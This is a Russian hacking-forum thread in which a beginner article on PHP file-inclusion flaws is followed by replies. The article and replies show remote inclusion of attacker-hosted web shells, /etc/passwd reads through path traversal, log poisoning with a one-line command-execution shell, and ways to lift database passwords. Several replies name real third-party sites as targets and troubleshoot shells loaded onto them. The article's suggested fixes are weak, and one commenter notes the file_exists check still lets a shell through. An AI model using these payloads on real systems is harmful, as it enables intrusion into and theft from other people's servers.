Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   php injection (https://forum.antichat.xyz/showthread.php?t=12123)

GreenBear 25.12.2005 00:47

php injection
 
Дело было вечером, делать было нечего… А сидеть в мирке с укуреными было неохота как-то… Вот решил построчить немного. Знаю что подобных статей, больше чем мне дней, но все же, свое это свое.
Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:
PHP код:

<?
..
Include (
"$page.php");

?>

Программист сайта видимо надеялся на то, что в мире нет плохих юзверей, которые пройдут его сайт мимо. Но зря он надеялся. Наверное, каждый из нас, как увидит ссылку типа index.php?page=shop
Сразу вместо shop пишет dsdsds и смотрит на результат.Он будет примерно таким:
Цитата:

Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3

Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3

Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Ура. Это и есть инлуд. Давайте подставим вместо dsdsds ссылку на наш сайт с шеллом, например http://hacker.nm.ru/shell (Важно! Без расширения на конце!) и о чудо, мы только что получили веб-шелл.
Идем дальше, есть код типа:
PHP код:

<?
..
Include (
"files/$page.htm");

?>

:. Получается уже локальный инлкуд… Максимум, что мы добьемся - это просмотр файлов на сервере. Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается.
Третий тип:
PHP код:

<?
..
Include (
"$patch/folder/page.php");

?>

Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
И о чудо, мы снова видим там свой шелл :

Теперь, как избежать этого.
Случай первый:
PHP код:

<?
..
if (
file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include (
"$page.php");
}
Else 
//Есле…
{
Echo 
"Error!";
}

?>

Случай второй:
PHP код:

<?
..
$page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
if (file_exists("files/$page.htm "))
{
Include (
"files/$page.htm");
}
Else
{
Echo 
"error";
}

?>

Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
PHP код:

<?

$patch
=str_replace("/","",$patch);  // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);

if (
file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
{
Include (
"$patch/folder/page.php");
}
Else
{
Echo 
"Error!";
}

?>

Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.

TANZWUT 25.12.2005 13:45

_http://www.beta-bedrijvendagen.nl/main.php?file=../main.php
_http://www.compendiuminc.com/main.php?file= к примеру;)

Zadoxlik 25.12.2005 19:14

Теперь, когда вы так много знаете, я расскажу вам как правильно кушать ложкой.

Примерно тоже самое, что и эта статья. Green_beear молодец конечно, но не туда по-мойму труд ты свой прикладываешь немного.
К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)

Rebz 25.12.2005 19:42

Zadoxlik, ну простые и не очень смертные не в курсе какие планы у вас с Егорычем.. =) Инициатива приветствуется)). Думаю, здесь осуждать не имеет смысла, беспочвенно).

Electro 10.01.2006 13:32

Статейка просто супер. Мне понравился но вот только во многих сайтах это не проходит, например я пишу в место index.php?page=shop , index.php?page=xernya а страничка вообще не реагирует на ошибочный запрос ...было бы лучше если бы вы обяснили как тогда действовать

byte57 12.01.2006 14:29

статья нормально, так как на ачате еще не писали, пусть будет в библиотеке, но нету приложений в виде простенького кода шелла.

External 14.01.2006 22:33

Тут кроме Белого Джордана об этой теме писать не могут. Ты не найдешь ни единой статьи об хсс кроме статей Алгола.

Zadoxlik 14.01.2006 23:34

Просто об ней уже все написано

SanyaX 14.01.2006 23:51

Простая статья что такого ужасного написали грин бир молодец что такого?

External 15.01.2006 05:36

Цитата:

Сообщение от Zadoxlik
Просто об ней уже все написано

Ибо да, Алгола начал, а Белый Джордан закончил. Они все про хсс уже написали. Все что можно угу.

zyl 09.05.2006 09:17

Цитата:

Сообщение от Green_Bear
Есть код:
PHP код:

......
Include (
"$page.php");
...... 


Подскажите идиоту как понять ("$page.php") - разве такое может быть?

Sn@k3 09.05.2006 12:17

Цитата:

Сообщение от Б@РМ@ЛЕЙ
Блин ну вот Я статью прочел.....

Ну и что Я могу сказать....................


Мда...............слов просто нет! ВООБЩЕ ни единого объяснения! :confused:

Просто какие то картинки дал, мол типа вот это, это то, это се....гы...

Такое впечатление, что автор только и умеют после знака равенства впечатывать - что попало. :rolleyes:


Ты хотя бы описал как фильтры для начало обходить, и типа для чего вообще including существует. Хоть бы с этого начал имхо. :rolleyes:

Блин почему Я не могу репутацию снизить!? :confused:

Не все что написано, называется статьей! Хотя бы модерам на показ свои статьи отсылайте ну!? А то в разделе статей, один флуд теперь!

Мда, сейчас пойду покажу как писать статьи надо.

Мдя.а вообще это не картинки, а исходники пхп. Чувак, чтобы понять это тебе наверное надо посмотреть видео на античате, уже поймешь что да как. а минусы ставят выше Members of Antichat.
http://video.antichat.ru/2_0.html

Sn@k3 09.05.2006 12:20

Цитата:

Сообщение от zyl
Подскажите идиоту как понять ("$page.php") - разве такое может быть?

я конечно не профессор, include ($page.php) наверное page.php можно сменить на cmd,
www.vixtim.com/index.php?page.php=ls -al

или как cmd

www.vixtim.com/index.php?cmd=ls -la

вроде как разницы нет.

c411k 09.05.2006 13:16

Цитата:

Сообщение от Sn@k3
я конечно не профессор, include ($page.php) наверное page.php можно сменить на cmd,
www.vixtim.com/index.php?page.php=ls -al

или как cmd

www.vixtim.com/index.php?cmd=ls -la

вроде как разницы нет.

причем тут cmd? если в странице index.php присутствует скрипт <? passthru("$cmd"); ?>, то тогда только тебе листинг директории покажет ../index.php?cmd=ls -lia
include "$page.php" означает что при нажатии на ссылку ../index.php?page=yopt откроется страница yopt.php. В строке брaуезра ты будешь видеть ../index.php?page=yopt, хотя ее можно и открыть как ../yopt.php

Цитата:

Сообщение от Zadoxlik
К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)

Новый год прошел, а статья есть?

Sn@k3 09.05.2006 13:58

пардон, а не читал впереди. ответил сразу.поэтому ступил.

zyl 09.05.2006 17:09

Цитата:

Сообщение от c411k
include "$page.php" означает что при нажатии на ссылку ../index.php?page=yopt откроется страница yopt.php. В строке брaуезра ты будешь видеть ../index.php?page=yopt, хотя ее можно и открыть как ../yopt.php

Вы меня неправильно поняли! Разве страница с расширением *.php вдруг стать переменной(и кавычки зачем?)? Наверное долно быть include ($page); ! Новички на этом могут голову сломать, как сломал её сегодня ночью, когда прочитал эту статью.

Zadoxlik 09.05.2006 17:36

Цитата:

Сообщение от c411k
Новый год прошел, а статья есть?

Статья была за долго до нового года.
Почитать пока негде нельзя

zyl 09.05.2006 20:06

Цитата:

Сообщение от Che-Guevara
статья не очень. и тему следовало назвать php-inc для новчиков, тк тема пхп инекций более обширна - инклудинг лишь часть.

Вот все говорят, что php-include это всего лишь часть....а про остальное ни слову!

Doredox 04.08.2006 00:18

Цитата:

Сообщение от Green_Bear
Теперь, как избежать этого.
Случай первый:
PHP код:

<?
..
if (
file_exists(\"$page.php\")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include (\"
$page.php\");
}
Else //Есле:
{
Echo \"Error!\";
}
:
?>


Разве это выход? если мы укажем на существующий shell проверка выполнится успешно. Вообще в таких случаях я бы рекомендовал оператор switch, надёжней не придумаешь, особенно если страниц не так много и нет необходимости их часто добавлять.

Electro 11.08.2006 11:04

Постораюсь дать тебе ответ, коротко и чтоб ты имел маленькое представления о том что такое веб шелл.

Ну это типо проводник, но по круче =))

BlackDog 11.08.2006 11:24

хм...... лан... пасиб....

Zitt 11.08.2006 23:22

BlackDog веб шелл ето скрипт чаще на PHP для управления своим\чужим сайтом\сервером.
шеллы можеш запускать на чужиш сайтах через php-ij (как ето делается я попоробовал обьясить ТУТ )
изучай!!!!
Вот скачай етот АРХИВ там подборка веб шеллов на любой вкус. Удачи

Марсеанчег 29.08.2006 16:24

хм...вот что у меня выводится в адресную строку http://blablabla:82/?mod=lookbook

Вот код функции которая производит инклуд

PHP код:

function std_execute_mod$mod_name$mod_function )
{
    
$mod_name str_replace'.php'''$mod_name );

    require_once( 
$GLOBALS['g_dir_mod'] . $mod_name '.php' );
    eval( 
'$out=' $mod_name '_' $mod_function ';' );

    return 
$out;


$GLOBALS['g_dir_mod'] - тут папка mod

можно ли как-то сделать пхп инъекцию?

kair 28.01.2007 21:31

http://www.eurogym.ru/index.php?lang_id=0&content_id=+11&p_content_id=0& sitemap=0&extfilename=http://www.google.com
гы...
осваиваемся потихоньку =)

853069 26.08.2007 01:35

Панки, залилть вы можете расказат ькак? Я только вижу шел который работает через их инклуд, на моем сервере шел. Я хочу залить на их.

DEMIX 14.11.2007 01:05

Статья прикольная. У меня вопрос вот например я увидел на форуме вот такой "php injection" - http://блаблабла/main.php?page=../../../../etc/passwd%00

Открываю и вижу: ../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lpx:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var//mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin

И еще очень много таково.
Насколько я понимаю, то мы зашли в корневую директорию сайта, перешли в папку "etc" и открыли файл "passwd". Если ошибаюсь то поправьте. Но я не понял что мы увидели в этом файле??? Разъясните пожалуйста.

Scipio 14.11.2007 02:53

Я уже отвечал на этот вопрос на форуме, вобщем применительно к локальному инклюду вот:
Цитата:

Смысл в том, что /etc/passwd есть на любой nix-ОС и если получилось его заинклюдить (как вариант прочитать), то значит как минимум локальный инклюд есть (я не беру вариант с опенбэйздир) и не надо подбирать путьк нему, т.к. при любом (большом) количестве /../ ты всеравно его прочитаешь (потому что выше рута / не прыгнешь), а дальше все, что подскажет тебе воображение...
например есть локальный инклюд, ты можешь:

1) прочитать и использовать passwd файл для брута по маске login:login (к тому же узнать путь к домашним директориям пользователей, иногда очень нужно)

2) узнав методом перебора стандартных путей путь к логам апача, ты можешь намеренно вызвать ошибку, записать к примеру в error_log php код а потом этот error_log проинклюдить (заметь локально) и соответственно этот код выполнить (например элементарный веб-шелл <?php system($_GET[cmd]); ?>)

3) если на сайте есть возможность заливки картинок, то ты можешь вставить php код в gif или в Exif данные jpeg картинки, а потом с помошью все того же локального инклюда выполнить этот код (проинклюдив картинку)

4) Есть у тебя к примеру SQL инъекция и у пользователя БД есть права filepriv, но ты не можешь записать шелл т.к. незнаешь путей, или нет ни одной паки доступной из веба с правами на запись, в первом случае ты можешь прочитать файл httpd.conf (если найдешь, и если будут права на чтение) и узнать пути, хотя это можно сделать и через sql-inj, при втором варианте ты пишешь свой шелл в /tmp и с помощью локального инклюда подцепляешь свой шелл из /tmp

5) куча вариантов, насколько фантазии хватит


Если есть просто читалка файлов, то ты можешь посмотреть файлы конфигурации на сайте и узнать пароль и пользователя БД (обычно они в незашифрованном виде)

bul.666 14.11.2007 10:52

Цитата:

то мы зашли в корневую директорию сайта, перешли в папку "etc" и открыли файл "passwd".
Не в корневую директорию сайта а сервера, в данном случае это *Nix Os (как сказал Scipio)

Sorx 21.11.2007 20:38

у меня вопрос по Web-shell.
Я использую Web-shell CIH.[ms] открываю его с помощю php-injection.
Но при попытке чтото зделать шел просто перезагружаеться и не выполняет никаких команд =( (_http://www.an-invest.ru/?id=http://poni-shell.nm.ru/sss) Можете подсказать вчем проблема ? буду очень благодарен.

Spyder 21.11.2007 20:49

Попробуй другой шелл
У меня всё нормально

Sorx 21.11.2007 21:16

Таже ситуация перепробывал кучу веб-шєлов они грузяться показывают каталог с файлами а когда я хочу загрузить или перейти в другую папку они просто перезагружаються и опять показуют тотже каталог =(

Spyder 21.11.2007 21:44

на nm.ru вроде выполняются PHP (не уверен)
вот
http://www.an-invest.ru/?id=http://ziroday.narod.ru/antichat
правда папок на запись там нет)

Scipio 22.11.2007 04:49

Я хотел бы еще сказать насчет терминологии:
все таки статья про php инклюдинг, а не про php инъекцию
php including - это подключение файлов, а
php injection - это внедрение php кода

например чтение /etc/passwd - никак не может быть инъекцией, т.к. никакого php кода не выполняется

а php injection это исполнение php комманд или кода ну допустим через eval или preg_replace т.д.

NOmeR1 22.11.2007 17:47

Цитата:

Сообщение от Scipio
Я хотел бы еще сказать насчет терминологии:
все таки статья про php инклюдинг, а не про php инъекцию
php including - это подключение файлов, а
php injection - это внедрение php кода

например чтение /etc/passwd - никак не может быть инъекцией, т.к. никакого php кода не выполняется

а php injection это исполнение php комманд или кода ну допустим через eval или preg_replace т.д.

Посмотрел бы вначале, когда статья была написана.

P.S. PHP Include - это и есть PHP Injection (один из видов)

Scipio 22.11.2007 17:58

2NOmeR1 Я не думаю, что терминология со временем сильно изменилась, к тому же я не откапывал статью в недрах ачата, а ссылка на нее висела на головной странице форума

а насчет:
Цитата:

P.S. PHP Include - это и есть PHP Injection (один из видов)
ну может ты и прав, но сразу вспоминается аналогия:
Цитата:

Собака смертна
Я смертен
Я смертен, значит я - собака

GreenBear 22.11.2007 18:11

что ты к словам придрался. малоли кто как говорят. тут суть ясна.

Scipio 22.11.2007 18:58

Да я вобщем то не придирался, я же не пишу срочно исправьте название, или афффтар не прав, просто написал насчет терминологии, да и то для меня это непринципиально,потому что как ты сказал:
Цитата:

малоли кто как говорят. тут суть ясна.

Spyder 22.11.2007 23:22

Цитата:

Я хотел бы еще сказать насчет терминологии:
все таки статья про php инклюдинг, а не про php инъекцию
php including - это подключение файлов, а
php injection - это внедрение php кода
помню с Нитроксом спорил на эту темы
Вообще то инкдуинг - это именно include() или require(), ну я так считаю =)

blackybr 10.03.2008 04:22

че? какие еще линии? наркоман чтоле.

не получится у тебя в случае если урл акцес дизейблид.. тогда при меджик квоутс офф можешь локальные файлы подрубать. если же и они врублены, то тебе не повезло

warlok 10.03.2008 04:47

Не ну я конешно еше мало чё понимаю и етого неотрицаю...
Имел ввиду я ето
Цитата:

Сообщение от blackybr
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3

если незаметил то в конце написано on line 3 (ето я и имел ввиду)
а в моём варианте 63
Цитата:

Сообщение от blackybr
не получится у тебя в случае если урл акцес дизейблид.. тогда при меджик квоутс офф можешь локальные файлы подрубать

нашёт етого можно поподробней а тоя чето неочень понял :confused:
запрещён инклуд удалённых файлов, т.е вида (http://site/shell.php) а можно только подключать локальные (используя либо полный путь, либо отностительный) При выключенном параметре меджик квоутс кавычки не слэшируются, поэтому их можно использовать при указании полного пути подключаемого файла. Надеюсь понятно объяснил. -=lebed=-
ЗЫ попрошу неназывать мя наркаманом,ето не правда:D


Время: 03:36